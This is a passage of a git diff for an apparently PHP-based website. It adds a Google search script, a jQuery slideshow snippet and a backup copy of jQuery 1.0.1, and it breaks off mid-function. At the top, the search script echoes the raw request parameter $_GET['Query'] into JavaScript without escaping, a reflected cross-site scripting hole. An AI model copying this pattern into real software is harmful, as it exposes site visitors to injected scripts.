+    // tell the searcher to draw itself and tell it where to attach
+    searchControl.draw(document.getElementById("searchcontrol", drawOptions));
+
+    // execute the search
+    searchControl.execute("<?php echo $_GET['Query'];?>");
+}
+
+google.setOnLoadCallback(initGoogleSearch);
diff --git a/libjs/homeFeaturedNav.js b/libjs/homeFeaturedNav.js
new file mode 100755 (executable)
index 0000000..077e06d
--- /dev/null
@@ -0,0 +1,15 @@
+$(function() {
+    $('#testscroller').cycle({
+               fx: 'scrollDown' 
+       });
+});
+
+$(function() {
+       $('#s4').before('<div id="featuredNav">').cycle({
+               fx: 'fade',
+               speed: '4000',
+               timeout: 12000,
+               pager:  '#featuredNav',
+               before: function() { if (window.console) console.log(this.src); }
+       });
+});
diff --git a/libjs/jquery-1.0.1.js.bakw b/libjs/jquery-1.0.1.js.bakw
new file mode 100644 (file)
index 0000000..f7dc203
--- /dev/null
@@ -0,0 +1,1826 @@
+/*
+ * jQuery - New Wave Javascript
+ *
+ * Copyright (c) 2006 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt) 
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2009/09/17 20:08:58 $
+ * $Rev: 249 $
+ */
+
+// Global undefined variable
+window.undefined = window.undefined;
+function jQuery(a,c) {
+
+       // Shortcut for document ready (because $(document).each() is silly)
+       if ( a && a.constructor == Function && jQuery.fn.ready )
+               return jQuery(document).ready(a);
+
+       // Make sure that a selection was provided
+       a = a || jQuery.context || document;
+
+       // Watch for when a jQuery object is passed as the selector
+       if ( a.jquery )
+               return $( jQuery.merge( a, [] ) );
+
+       // Watch for when a jQuery object is passed at the context
+       if ( c && c.jquery )
+               return $( c ).find(a);
+       
+       // If the context is global, return a new object
+       if ( window == this )
+               return new jQuery(a,c);
+
+       // Handle HTML strings
+       var m = /^[^<]*(<.+>)[^>]*$/.exec(a);
+       if ( m ) a = jQuery.clean( [ m[1] ] );
+
+       // Watch for when an array is passed in
+       this.get( a.constructor == Array || a.length && !a.nodeType && a[0] != undefined && a[0].nodeType ?
+               // Assume that it is an array of DOM Elements
+               jQuery.merge( a, [] ) :
+
+               // Find the matching elements and save them for later
+               jQuery.find( a, c ) );
+
+  // See if an extra function was provided
+       var fn = arguments[ arguments.length - 1 ];
+       
+       // If so, execute it in context
+       if ( fn && fn.constructor == Function )
+               this.each(fn);
+}
+
+// Map over the $ in case of overwrite
+if ( typeof $ != "undefined" )
+       jQuery._$ = $;
+
+// Map the jQuery namespace to the '$' one
+var $ = jQuery;
+
+jQuery.fn = jQuery.prototype = {
+       jquery: "$Rev: 249 $",
+
+       size: function() {
+               return this.length;
+       },
+
+       get: function( num ) {
+               // Watch for when an array (of elements) is passed in
+               if ( num && num.constructor == Array ) {
+
+                       // Use a tricky hack to make the jQuery object
+                       // look and feel like an array
+                       this.length = 0;
+                       [].push.apply( this, num );
+                       
+                       return this;
+               } else
+                       return num == undefined ?
+
+                               // Return a 'clean' array
+                               jQuery.map( this, function(a){ return a } ) :
+
+                               // Return just the object
+                               this[num];
+       },
+       each: function( fn, args ) {
+               return jQuery.each( this, fn, args );
+       },
+
+       index: function( obj ) {
+               var pos = -1;
+               this.each(function(i){
+                       if ( this == obj ) pos = i;
+               });
+               return pos;
+       },
+
+       attr: function( key, value, type ) {
+               // Check to see if we're setting style values
+               return key.constructor != String || value != undefined ?
+                       this.each(function(){
+                               // See if we're setting a hash of styles
+                               if ( value == undefined )
+                                       // Set all the styles
+                                       for ( var prop in key )
+                                               jQuery.attr(
+                                                       type ? this.style : this,
+                                                       prop, key[prop]
+                                               );
+                               
+                               // See if we're setting a single key/value style
+                               else
+                                       jQuery.attr(
+                                               type ? this.style : this,
+                                               key, value
+                                       );
+                       }) :
+                       
+                       // Look for the case where we're accessing a style value
+                       jQuery[ type || "attr" ]( this[0], key );
+       },
+
+       css: function( key, value ) {
+               return this.attr( key, value, "curCSS" );
+       },
+       text: function(e) {
+               e = e || this;
+               var t = "";
+               for ( var j = 0; j < e.length; j++ ) {
+                       var r = e[j].childNodes;
+                       for ( var i = 0; i < r.length; i++ )
+                               if ( r[i].nodeType != 8 )
+                                       t += r[i].nodeType != 1 ?
+                                               r[i].nodeValue : jQuery.fn.text([ r[i] ]);
+               }
+               return t;
+       },
+       wrap: function() {
+               // The elements to wrap the target around
+               var a = jQuery.clean(arguments);
+               
+               // Wrap each of the matched elements individually
+               return this.each(function(){
+                       // Clone the structure that we're using to wrap
+                       var b = a[0].cloneNode(true);
+                       
+                       // Insert it before the element to be wrapped
+                       this.parentNode.insertBefore( b, this );
+                       
+                       // Find he deepest point in the wrap structure
+                       while ( b.firstChild )
+                               b = b.firstChild;
+                       
+                       // Move the matched element to within the wrap structure
+                       b.appendChild( this );
+               });
+       },
+       append: function() {
+               return this.domManip(arguments, true, 1, function(a){
+                       this.appendChild( a );
+               });
+       },
+       prepend: function() {
+               return this.domManip(arguments, true, -1, function(a){
+                       this.insertBefore( a, this.firstChild );
+               });
+       },
+       before: function() {
+               return this.domManip(arguments, false, 1, function(a){
+                       this.parentNode.insertBefore( a, this );
+               });
+       },
+       after: function() {
+               return this.domManip(arguments, false, -1, function(a){
+                       this.parentNode.insertBefore( a, this.nextSibling );
+               });
+       },
+       end: function() {
+               return this.get( this.stack.pop() );
+       },
+       find: function(t) {
+               return this.pushStack( jQuery.map( this, function(a){
+                       return jQuery.find(t,a);
+               }), arguments );
+       },
+
+       clone: function(deep) {
+               return this.pushStack( jQuery.map( this, function(a){
+                       return a.cloneNode( deep != undefined ? deep : true );
+               }), arguments );
+       },
+
+       filter: function(t) {
+               return this.pushStack(
+                       t.constructor == Array &&
+                       jQuery.map(this,function(a){
+                               for ( var i = 0; i < t.length; i++ )
+                                       if ( jQuery.filter(t[i],[a]).r.length )
+                                               return a;
+                       }) ||
+
+                       t.constructor == Boolean &&
+                       ( t ? this.get() : [] ) ||
+
+                       t.constructor == Function &&
+                       jQuery.grep( this, t ) ||
+
+                       jQuery.filter(t,this).r, arguments );
+       },
+
+       not: function(t) {
+               return this.pushStack( t.constructor == String ?
+                       jQuery.filter(t,this,false).r :
+                       jQuery.grep(this,function(a){ return a != t; }), arguments );
+       },
+
+       add: function(t) {
+               return this.pushStack( jQuery.merge( this, t.constructor == String ?
+                       jQuery.find(t) : t.constructor == Array ? t : [t] ), arguments );
+       },
+       is: function(expr) {
+               return expr ? jQuery.filter(expr,this).r.length > 0 : this.length > 0;
+       },
+       domManip: function(args, table, dir, fn){
+               var clone = this.size() > 1;
+               var a = jQuery.clean(args);
+               
+               return this.each(function(){
+                       var obj = this;
+                       
+                       if ( table && this.nodeName == "TABLE" && a[0].nodeName != "THEAD" ) {
+                               var tbody = this.getElementsByTagName("tbody");
+
+                               if ( !tbody.length ) {
+                                       obj = document.createElement("tbody");
+                                       this.appendChild( obj );
+                               } else
+                                       obj = tbody[0];
+                       }
+
+                       for ( var i = ( dir < 0 ? a.length - 1 : 0 );
+                               i != ( dir < 0 ? dir : a.length ); i += dir ) {
+                                       fn.apply( obj, [ clone ? a[i].cloneNode(true) : a[i] ] );
+                       }
+               });
+       },
+       pushStack: function(a,args) {
+               var fn = args && args[args.length-1];
+
+               if ( !fn || fn.constructor != Function ) {
+                       if ( !this.stack ) this.stack = [];
+                       this.stack.push( this.get() );
+                       this.get( a );
+               } else {
+                       var old = this.get();
+                       this.get( a );
+                       if ( fn.constructor == Function )
+                               return this.each( fn );
+                       this.get( old );
+               }
+
+               return this;
+       }
+};
+
+jQuery.extend = jQuery.fn.extend = function(obj,prop) {
+       if ( !prop ) { prop = obj; obj = this; }
+       for ( var i in prop ) obj[i] = prop[i];
+       return obj;
+};
+
+jQuery.extend({
+       init: function(){
+               jQuery.initDone = true;
+               
+               jQuery.each( jQuery.macros.axis, function(i,n){
+                       jQuery.fn[ i ] = function(a) {
+                               var ret = jQuery.map(this,n);
+                               if ( a && a.constructor == String )
+                                       ret = jQuery.filter(a,ret).r;
+                               return this.pushStack( ret, arguments );
+                       };
+               });
+               
+               jQuery.each( jQuery.macros.to, function(i,n){
+                       jQuery.fn[ i ] = function(){
+                               var a = arguments;
+                               return this.each(function(){
+                                       for ( var j = 0; j < a.length; j++ )
+                                               $(a[j])[n]( this );
+                               });
+                       };
+               });
+               
+               jQuery.each( jQuery.macros.each, function(i,n){
+                       jQuery.fn[ i ] = function() {
+                               return this.each( n, arguments );
+                       };
+               });
+
+               jQuery.each( jQuery.macros.filter, function(i,n){
+                       jQuery.fn[ n ] = function(num,fn) {
+                               return this.filter( ":" + n + "(" + num + ")", fn );
+                       };
+               });
+               
+               jQuery.each( jQuery.macros.attr, function(i,n){
+                       n = n || i;
+                       jQuery.fn[ i ] = function(h) {
+                               return h == undefined ?
+                                       this.length ? this[0][n] : null :
+                                       this.attr( n, h );
+                       };
+               });
+       
+               jQuery.each( jQuery.macros.css, function(i,n){
+                       jQuery.fn[ n ] = function(h) {
+                               return h == undefined ?
+                                       ( this.length ? jQuery.css( this[0], n ) : null ) :
+                                       this.css( n, h );
+                       };
+               });
+       
+       },
+       each: function( obj, fn, args ) {
+               if ( obj.length == undefined )
+                       for ( var i in obj )
+                               fn.apply( obj[i], args || [i, obj[i]] );
+               else
+                       for ( var i = 0; i < obj.length; i++ )
+                               fn.apply( obj[i], args || [i, obj[i]] );
+               return obj;
+       },
+       
+       className: {
+               add: function(o,c){
+                       if (jQuery.className.has(o,c)) return;
+                       o.className += ( o.className ? " " : "" ) + c;
+               },
+               remove: function(o,c){
+                       o.className = !c ? "" :
+                               o.className.replace(
+                                       new RegExp("(^|\\s*\\b[^-])"+c+"($|\\b(?=[^-]))", "g"), "");
+               },
+               has: function(e,a) {
+                       if ( e.className != undefined )
+                               e = e.className;
+                       return new RegExp("(^|\\s)" + a + "(\\s|$)").test(e);
+               }
+       },
+       swap: function(e,o,f) {
+               for ( var i in o ) {
+                       e.style["old"+i] = e.style[i];
+                       e.style[i] = o[i];
+               }
+               f.apply( e, [] );
+               for ( var i in o )
+                       e.style[i] = e.style["old"+i];
+       },
+       
+       css: function(e,p) {
+               if ( p == "height" || p == "width" ) {
+                       var old = {}, oHeight, oWidth, d = ["Top","Bottom","Right","Left"];
+       
+                       for ( var i in d ) {
+                               old["padding" + d[i]] = 0;
+                               old["border" + d[i] + "Width"] = 0;
+                       }
+       
+                       jQuery.swap( e, old, function() {
+                               if (jQuery.css(e,"display") != "none") {
+                                       oHeight = e.offsetHeight;
+                                       oWidth = e.offsetWidth;
+                               } else {
+                                       e = $(e.cloneNode(true)).css({
+                                               visibility: "hidden", position: "absolute", display: "block"
+                                       }).prependTo("body")[0];
+
+                                       oHeight = e.clientHeight;
+                                       oWidth = e.clientWidth;
+                                       
+                                       e.parentNode.removeChild(e);
+                               }
+                       });
+       
+                       return p == "height" ? oHeight : oWidth;
+               } else if ( p == "opacity" && jQuery.browser.msie )
+                       return parseFloat( jQuery.curCSS(e,"filter").replace(/[^0-9.]/,"") ) || 1;
+
+               return jQuery.curCSS( e, p );
+       },
+
+       curCSS: function(elem, prop, force) {
+               var ret;
+       
+               if (!force && elem.style[prop]) {
+
+                       ret = elem.style[prop];
+
+               } else if (elem.currentStyle) {
+
+                       var newProp = prop.replace(/\-(\w)/g,function(m,c){return c.toUpperCase()}); 
+                       ret = elem.currentStyle[prop] || elem.currentStyle[newProp];
+
+               } else if (document.defaultView && document.defaultView.getComputedStyle) {
+
+                       prop = prop.replace(/([A-Z])/g,"-$1").toLowerCase();
+                       var cur = document.defaultView.getComputedStyle(elem, null);
+
+                       if ( cur )
+                               ret = cur.getPropertyValue(prop);
+                       else if ( prop == 'display' )
+                               ret = 'none';
+                       else
+                               jQuery.swap(elem, { display: 'block' }, function() {
+                                       ret = document.defaultView.getComputedStyle(this,null).getPropertyValue(prop);
+                               });
+
+               }
+               
+               return ret;
+       },
+       
+       clean: function(a) {
+               var r = [];
+               for ( var i = 0; i < a.length; i++ ) {
+                       if ( a[i].constructor == String ) {
+
+                               var table = "";
+       
+                               if ( !a[i].indexOf("<thead") || !a[i].indexOf("<tbody") ) {
+                                       table = "thead";
+                                       a[i] = "<table>" + a[i] + "</table>";
+                               } else if ( !a[i].indexOf("<tr") ) {
+                                       table = "tr";
+                                       a[i] = "<table>" + a[i] + "</table>";
+                               } else if ( !a[i].indexOf("<td") || !a[i].indexOf("<th") ) {
+                                       table = "td";
+                                       a[i] = "<table><tbody><tr>" + a[i] + "</tr></tbody></table>";
+                               }
+       
+                               var div = document.createElement("div");
+                               div.innerHTML = a[i];
+       
+                               if ( table ) {
+                                       div = div.firstChild;
+                                       if ( table != "thead" ) div = div.firstChild;
+                                       if ( table == "td" ) div = div.firstChild;
+                               }
+       
+                               for ( var j = 0; j < div.childNodes.length; j++ )
+                                       r.push( div.childNodes[j] );
+                               } else if ( a[i].jquery || a[i].length && !a[i].nodeType )
+                                       for ( var k = 0; k < a[i].length; k++ )
+                                               r.push( a[i][k] );
+                               else if ( a[i] !== null )
+                                       r.push( a[i].nodeType ? a[i] : document.createTextNode(a[i].toString()) );
+               }
+               return r;
+       },
+       
+       expr: {
+               "": "m[2]== '*'||a.nodeName.toUpperCase()==m[2].toUpperCase()",
+               "#": "a.getAttribute('id')&&a.getAttribute('id')==m[2]",
+               ":": {
+                       // Position Checks
+                       lt: "i<m[3]-0",
+                       gt: "i>m[3]-0",
+                       nth: "m[3]-0==i",
+                       eq: "m[3]-0==i",
+                       first: "i==0",
+                       last: "i==r.length-1",
+                       even: "i%2==0",
+                       odd: "i%2",
+                       
+                       // Child Checks
+                       "nth-child": "jQuery.sibling(a,m[3]).cur",
+                       "first-child": "jQuery.sibling(a,0).cur",
+                       "last-child": "jQuery.sibling(a,0).last",
+                       "only-child": "jQuery.sibling(a).length==1",
+                       
+                       // Parent Checks
+                       parent: "a.childNodes.length",
+                       empty: "!a.childNodes.length",
+                       
+                       // Text Check
+                       contains: "(a.innerText||a.innerHTML).indexOf(m[3])>=0",
+                       
+                       // Visibility
+                       visible: "a.type!='hidden'&&jQuery.css(a,'display')!='none'&&jQuery.css(a,'visibility')!='hidden'",
+                       hidden: "a.type=='hidden'||jQuery.css(a,'display')=='none'||jQuery.css(a,'visibility')=='hidden'",
+                       
+                       // Form elements
+                       enabled: "!a.disabled",
+                       disabled: "a.disabled",
+                       checked: "a.checked",
+                       selected: "a.selected"
+               },
+               ".": "jQuery.className.has(a,m[2])",
+               "@": {
+                       "=": "z==m[4]",
+                       "!=": "z!=m[4]",
+                       "^=": "!z.indexOf(m[4])",
+                       "$=": "z.substr(z.length - m[4].length,m[4].length)==m[4]",
+                       "*=": "z.indexOf(m[4])>=0",
+                       "": "z"
+               },
+               "[": "jQuery.find(m[2],a).length"
+       },
+       
+       token: [
+               "\\.\\.|/\\.\\.", "a.parentNode",
+               ">|/", "jQuery.sibling(a.firstChild)",
+               "\\+", "jQuery.sibling(a).next",
+               "~", function(a){
+                       var r = [];
+                       var s = jQuery.sibling(a);
+                       if ( s.n > 0 )
+                               for ( var i = s.n; i < s.length; i++ )
+                                       r.push( s[i] );
+                       return r;
+               }
+       ],
+       find: function( t, context ) {
+               // Make sure that the context is a DOM Element
+               if ( context && context.nodeType == undefined )
+                       context = null;
+       
+               // Set the correct context (if none is provided)
+               context = context || jQuery.context || document;
+       
+               if ( t.constructor != String ) return [t];
+       
+               if ( !t.indexOf("//") ) {
+                       context = context.documentElement;
+                       t = t.substr(2,t.length);
+               } else if ( !t.indexOf("/") ) {
+                       context = context.documentElement;
+                       t = t.substr(1,t.length);
+                       // FIX Assume the root element is right :(
+                       if ( t.indexOf("/") >= 1 )
+                               t = t.substr(t.indexOf("/"),t.length);
+               }
+       
+               var ret = [context];
+               var done = [];
+               var last = null;
+       
+               while ( t.length > 0 && last != t ) {
+                       var r = [];
+                       last = t;
+       
+                       t = jQuery.trim(t).replace( /^\/\//i, "" );
+                       
+                       var foundToken = false;
+                       
+                       for ( var i = 0; i < jQuery.token.length; i += 2 ) {
+                               if ( foundToken ) continue;
+
+                               var re = new RegExp("^(" + jQuery.token[i] + ")");
+                               var m = re.exec(t);
+                               
+                               if ( m ) {
+                                       r = ret = jQuery.map( ret, jQuery.token[i+1] );
+                                       t = jQuery.trim( t.replace( re, "" ) );
+                                       foundToken = true;
+                               }
+                       }
+                       
+                       if ( !foundToken ) {
+                               if ( !t.indexOf(",") || !t.indexOf("|") ) {
+                                       if ( ret[0] == context ) ret.shift();
+                                       done = jQuery.merge( done, ret );
+                                       r = ret = [context];
+                                       t = " " + t.substr(1,t.length);
+                               } else {
+                                       var re2 = /^([#.]?)([a-z0-9\\*_-]*)/i;
+                                       var m = re2.exec(t);
+               
+                                       if ( m[1] == "#" ) {
+                                               // Ummm, should make this work in all XML docs
+                                               var oid = document.getElementById(m[2]);
+                                               r = ret = oid ? [oid] : [];
+                                               t = t.replace( re2, "" );
+                                       } else {
+                                               if ( !m[2] || m[1] == "." ) m[2] = "*";
+               
+                                               for ( var i = 0; i < ret.length; i++ )
+                                                       r = jQuery.merge( r,
+                                                               m[2] == "*" ?
+                                                                       jQuery.getAll(ret[i]) :
+                                                                       ret[i].getElementsByTagName(m[2])
+                                                       );
+                                       }
+                               }
+       
+                       }
+
+                       if ( t ) {
+                               var val = jQuery.filter(t,r);
+                               ret = r = val.r;
+                               t = jQuery.trim(val.t);
+                       }
+               }
+       
+               if ( ret && ret[0] == context ) ret.shift();
+               done = jQuery.merge( done, ret );
+       
+               return done;
+       },
+       
+       getAll: function(o,r) {
+               r = r || [];
+               var s = o.childNodes;
+               for ( var i = 0; i < s.length; i++ )
+                       if ( s[i].nodeType == 1 ) {
+                               r.push( s[i] );
+                               jQuery.getAll( s[i], r );
+                       }
+               return r;
+       },
+       
+       attr: function(elem, name, value){
+               var fix = {
+                       "for": "htmlFor",
+                       "class": "className",
+                       "float": "cssFloat",
+                       innerHTML: "innerHTML",
+                       className: "className",
+                       value: "value",
+                       disabled: "disabled"
+               };
+
+               if ( fix[name] ) {
+                       if ( value != undefined ) elem[fix[name]] = value;
+                       return elem[fix[name]];
+               } else if ( elem.getAttribute ) {
+                       if ( value != undefined ) elem.setAttribute( name, value );
+                       return elem.getAttribute( name, 2 );
+               } else {
+                       name = name.replace(/-([a-z])/ig,function(z,b){return b.toUpperCase();});
+                       if ( value != undefined ) elem[name] = value;
+                       return elem[name];
+               }
+       },
+
+       // The regular expressions that power the parsing engine
+       parse: [
+               // Match: [@value='test'], [@foo]
+               [ "\\[ *(@)S *([!*$^=]*) *Q\\]", 1 ],
+
+               // Match: [div], [div p]
+               [ "(\\[)Q\\]", 0 ],
+
+               // Match: :contains('foo')
+               [ "(:)S\\(Q\\)", 0 ],
+
+               // Match: :even, :last-chlid
+               [ "([:.#]*)S", 0 ]
+       ],
+       
+       filter: function(t,r,not) {
+               // Figure out if we're doing regular, or inverse, filtering
+               var g = not !== false ? jQuery.grep :
+                       function(a,f) {return jQuery.grep(a,f,true);};
+               
+               while ( t && /^[a-z[({<*:.#]/i.test(t) ) {
+
+                       var p = jQuery.parse;
+
+                       for ( var i = 0; i < p.length; i++ ) {
+                               var re = new RegExp( "^" + p[i][0]
+
+                                       // Look for a string-like sequence
+                                       .replace( 'S', "([a-z*_-][a-z0-9_-]*)" )
+
+                                       // Look for something (optionally) enclosed with quotes
+                                       .replace( 'Q', " *'?\"?([^'\"]*?)'?\"? *" ), "i" );
+
+                               var m = re.exec( t );
+
+                               if ( m ) {
+                                       // Re-organize the match
+                                       if ( p[i][1] )
+                                               m = ["", m[1], m[3], m[2], m[4]];
+
+                                       // Remove what we just matched
+                                       t = t.replace( re, "" );
+
+                                       break;
+                               }
+                       }
+       
+                       // :not() is a special case that can be optomized by
+                       // keeping it out of the expression list
+                       if ( m[1] == ":" && m[2] == "not" )
+                               r = jQuery.filter(m[3],r,false).r;
+                       
+                       // Otherwise, find the expression to execute
+                       else {
+                               var f = jQuery.expr[m[1]];
+                               if ( f.constructor != String )
+                                       f = jQuery.expr[m[1]][m[2]];
+                                       
+                               // Build a custom macro to enclose it
+                               eval("f = function(a,i){" + 
+                                       ( m[1] == "@" ? "z=jQuery.attr(a,m[3]);" : "" ) + 
+                                       "return " + f + "}");
+                               
+                               // Execute it against the current filter
+                               r = g( r, f );
+                       }
+               }
+       
+               // Return an array of filtered elements (r)
+               // and the modified expression string (t)
+               return { r: r, t: t };
+       },
+       trim: function(t){
+               return t.replace(/^\s+|\s+$/g, "");
+       },
+       parents: function( elem ){
+               var matched = [];
+               var cur = elem.parentNode;
+               while ( cur && cur != document ) {
+                       matched.push( cur );
+                       cur = cur.parentNode;
+               }
+               return matched;
+       },
+       sibling: function(elem, pos, not) {
+               var elems = [];
+
+               var siblings = elem.parentNode.childNodes;
+               for ( var i = 0; i < siblings.length; i++ ) {
+                       if ( not === true && siblings[i] == elem ) continue;
+
+                       if ( siblings[i].nodeType == 1 )
+                               elems.push( siblings[i] );
+                       if ( siblings[i] == elem )
+                               elems.n = elems.length - 1;
+               }
+
+               return jQuery.extend( elems, {
+                       last: elems.n == elems.length - 1,
+                       cur: pos == "even" && elems.n % 2 == 0 || pos == "odd" && elems.n % 2 || elems[pos] == elem,
+                       prev: elems[elems.n - 1],
+                       next: elems[elems.n + 1]
+               });
+       },
+       merge: function(first, second) {
+               var result = [];
+               
+               // Move b over to the new array (this helps to avoid
+               // StaticNodeList instances)
+               for ( var k = 0; k < first.length; k++ )
+                       result[k] = first[k];
+       
+               // Now check for duplicates between a and b and only
+               // add the unique items
+               for ( var i = 0; i < second.length; i++ ) {
+                       var noCollision = true;
+                       
+                       // The collision-checking process
+                       for ( var j = 0; j < first.length; j++ )
+                               if ( second[i] == first[j] )
+                                       noCollision = false;
+                               
+                       // If the item is unique, add it
+                       if ( noCollision )
+                               result.push( second[i] );
+               }
+       
+               return result;
+       },
+       grep: function(elems, fn, inv) {
+               // If a string is passed in for the function, make a function
+               // for it (a handy shortcut)
+               if ( fn.constructor == String )
+                       fn = new Function("a","i","return " + fn);
+                       
+               var result = [];
+               
+               // Go through the array, only saving the items
+               // that pass the validator function
+               for ( var i = 0; i < elems.length; i++ )
+                       if ( !inv && fn(elems[i],i) || inv && !fn(elems[i],i) )
+                               result.push( elems[i] );
+               
+               return result;
+       },
+       map: function(elems, fn) {
+               // If a string is passed in for the function, make a function
+               // for it (a handy shortcut)
+               if ( fn.constructor == String )
+                       fn = new Function("a","return " + fn);
+               
+               var result = [];
+               
+               // Go through the array, translating each of the items to their
+               // new value (or values).
+               for ( var i = 0; i < elems.length; i++ ) {
+                       var val = fn(elems[i],i);
+
+                       if ( val !== null && val != undefined ) {
+                               if ( val.constructor != Array ) val = [val];
+                               result = jQuery.merge( result, val );
+                       }
+               }
+
+               return result;
+       },
+       
+       /*
+        * A number of helper functions used for managing events.
+        * Many of the ideas behind this code orignated from Dean Edwards' addEvent library.
+        */
+       event: {
+       
+               // Bind an event to an element
+               // Original by Dean Edwards
+               add: function(element, type, handler) {
+                       // For whatever reason, IE has trouble passing the window object
+                       // around, causing it to be cloned in the process
+                       if ( jQuery.browser.msie && element.setInterval != undefined )
+                               element = window;
+               
+                       // Make sure that the function being executed has a unique ID
+                       if ( !handler.guid )
+                               handler.guid = this.guid++;
+                               
+                       // Init the element's event structure
+                       if (!element.events)
+                               element.events = {};
+                       
+                       // Get the current list of functions bound to this event
+                       var handlers = element.events[type];
+                       
+                       // If it hasn't been initialized yet
+                       if (!handlers) {
+                               // Init the event handler queue
+                               handlers = element.events[type] = {};
+                               
+                               // Remember an existing handler, if it's already there
+                               if (element["on" + type])
+                                       handlers[0] = element["on" + type];
+                       }
+
+                       // Add the function to the element's handler list
+                       handlers[handler.guid] = handler;
+                       
+                       // And bind the global event handler to the element
+                       element["on" + type] = this.handle;
+       
+                       // Remember the function in a global list (for triggering)
+                       if (!this.global[type])
+                               this.global[type] = [];
+                       this.global[type].push( element );
+               },
+               
+               guid: 1,
+               global: {},
+               
+               // Detach an event or set of events from an element
+               remove: function(element, type, handler) {
+                       if (element.events)
+                               if (type && element.events[type])
+                                       if ( handler )
+                                               delete element.events[type][handler.guid];
+                                       else
+                                               for ( var i in element.events[type] )
+                                                       delete element.events[type][i];
+                               else
+                                       for ( var j in element.events )
+                                               this.remove( element, j );
+               },
+               
+               trigger: function(type,data,element) {
+                       // Touch up the incoming data
+                       data = data || [];
+       
+                       // Handle a global trigger
+                       if ( !element ) {
+                               var g = this.global[type];
+                               if ( g )
+                                       for ( var i = 0; i < g.length; i++ )
+                                               this.trigger( type, data, g[i] );
+       
+                       // Handle triggering a single element
+                       } else if ( element["on" + type] ) {
+                               // Pass along a fake event
+                               data.unshift( this.fix({ type: type, target: element }) );
+       
+                               // Trigger the event
+                               element["on" + type].apply( element, data );
+                       }
+               },
+               
+               handle: function(event) {
+                       if ( typeof jQuery == "undefined" ) return;
+
+                       event = event || jQuery.event.fix( window.event );
+       
+                       // If no correct event was found, fail
+                       if ( !event ) return;
+               
+                       var returnValue = true;
+
+                       var c = this.events[event.type];
+               
+                       for ( var j in c ) {
+                               if ( c[j].apply( this, [event] ) === false ) {
+                                       event.preventDefault();
+                                       event.stopPropagation();
+                                       returnValue = false;
+                               }
+                       }
+                       
+                       return returnValue;
+               },
+               
+               fix: function(event) {
+                       if ( event ) {
+                               event.preventDefault = function() {
+                                       this.returnValue = false;
+                               };
+                       
+                               event.stopPropagation = function() {
+                                       this.cancelBubble = true;
+                               };
+                       }
+                       
+                       return event;
+               }
+       
+       }
+});
+
+new function() {
+       var b = navigator.userAgent.toLowerCase();
+
+       // Figure out what browser is being used
+       jQuery.browser = {
+               safari: /webkit/.test(b),
+               opera: /opera/.test(b),
+               msie: /msie/.test(b) && !/opera/.test(b),
+               mozilla: /mozilla/.test(b) && !/compatible/.test(b)
+       };
+
+       // Check to see if the W3C box model is being used
+       jQuery.boxModel = !jQuery.browser.msie || document.compatMode == "CSS1Compat";
+};
+
+jQuery.macros = {
+       to: {
+               appendTo: "append",
+               prependTo: "prepend",
+               insertBefore: "before",
+               insertAfter: "after"
+       },
+
+       
+       css: "width,height,top,left,position,float,overflow,color,background".split(","),
+
+       filter: [ "eq", "lt", "gt", "contains" ],
+
+       attr: {
+
+               val: "value",
+
+               html: "innerHTML",
+
+               id: null,
+
+               title: null,
+
+               name: null,
+
+               href: null,
+
+               src: null,
+
+               rel: null
+       },
+       
+       axis: {
+
+               parent: "a.parentNode",
+
+               ancestors: jQuery.parents,
+
+               parents: jQuery.parents,
+
+               next: "jQuery.sibling(a).next",
+
+               prev: "jQuery.sibling(a).prev",
+
+               siblings: jQuery.sibling,
+
+               children: "jQuery.sibling(a.firstChild)"
+       },
+
+       each: {
+
+               removeAttr: function( key ) {
+                       this.removeAttribute( key );
+               },
+               show: function(){
+                       this.style.display = this.oldblock ? this.oldblock : "";
+                       if ( jQuery.css(this,"display") == "none" )
+                               this.style.display = "block";
+               },
+               hide: function(){
+                       this.oldblock = this.oldblock || jQuery.css(this,"display");
+                       if ( this.oldblock == "none" )
+                               this.oldblock = "block";
+                       this.style.display = "none";
+               },
+               toggle: function(){
+                       $(this)[ $(this).is(":hidden") ? "show" : "hide" ].apply( $(this), arguments );
+               },
+               addClass: function(c){
+                       jQuery.className.add(this,c);
+               },
+               removeClass: function(c){
+                       jQuery.className.remove(this,c);
+               },
+               toggleClass: function( c ){
+                       jQuery.className[ jQuery.className.has(this,c) ? "remove" : "add" ](this,c);
+               },
+
+               remove: function(a){
+                       if ( !a || jQuery.filter( a, [this] ).r )
+                               this.parentNode.removeChild( this );
+               },
+               empty: function(){
+                       while ( this.firstChild )
+                               this.removeChild( this.firstChild );
+               },
+               bind: function( type, fn ) {
+                       if ( fn.constructor == String )
+                               fn = new Function("e", ( !fn.indexOf(".") ? "$(this)" : "return " ) + fn);
+                       jQuery.event.add( this, type, fn );
+               },
+
+               unbind: function( type, fn ) {
+                       jQuery.event.remove( this, type, fn );
+               },
+               trigger: function( type, data ) {
+                       jQuery.event.trigger( type, data, this );
+               }
+       }
+};
+
+jQuery.init();
+jQuery.fn.extend({
+
+       // We're overriding the old toggle function, so
+       // remember it for later
+       _toggle: jQuery.fn.toggle,
+       toggle: function(a,b) {
+               // If two functions are passed in, we're
+               // toggling on a click
+               return a && b && a.constructor == Function && b.constructor == Function ? this.click(function(e){
+                       // Figure out which function to execute
+                       this.last = this.last == a ? b : a;
+                       
+                       // Make sure that clicks stop
+                       e.preventDefault();
+                       
+                       // and execute the function
+                       return this.last.apply( this, [e] ) || false;
+               }) :
+               
+               // Otherwise, execute the old toggle function
+               this._toggle.apply( this, arguments );
+       },
+
+       hover: function(f,g) {
+               
+               // A private function for haandling mouse 'hovering'
+               function handleHover(e) {
+                       // Check if mouse(over|out) are still within the same parent element
+                       var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
+       
+                       // Traverse up the tree
+                       while ( p && p != this ) p = p.parentNode;
+                       
+                       // If we actually just moused on to a sub-element, ignore it
+                       if ( p == this ) return false;
+                       
+                       // Execute the right function
+                       return (e.type == "mouseover" ? f : g).apply(this, [e]);
+               }
+               
+               // Bind the function to the two event listeners
+               return this.mouseover(handleHover).mouseout(handleHover);
+       },
+       ready: function(f) {
+               // If the DOM is already ready
+               if ( jQuery.isReady )
+                       // Execute the function immediately
+                       f.apply( document );
+                       
+               // Otherwise, remember the function for later
+               else {
+                       // Add the function to the wait list
+                       jQuery.readyList.push( f );
+               }
+       
+               return this;
+       }
+});
+
+jQuery.extend({
+       /*
+        * All the code that makes DOM Ready work nicely.
+        */
+       isReady: false,
+       readyList: [],
+       
+       // Handle when the DOM is ready
+       ready: function() {
+               // Make sure that the DOM is not already loaded
+               if ( !jQuery.isReady ) {
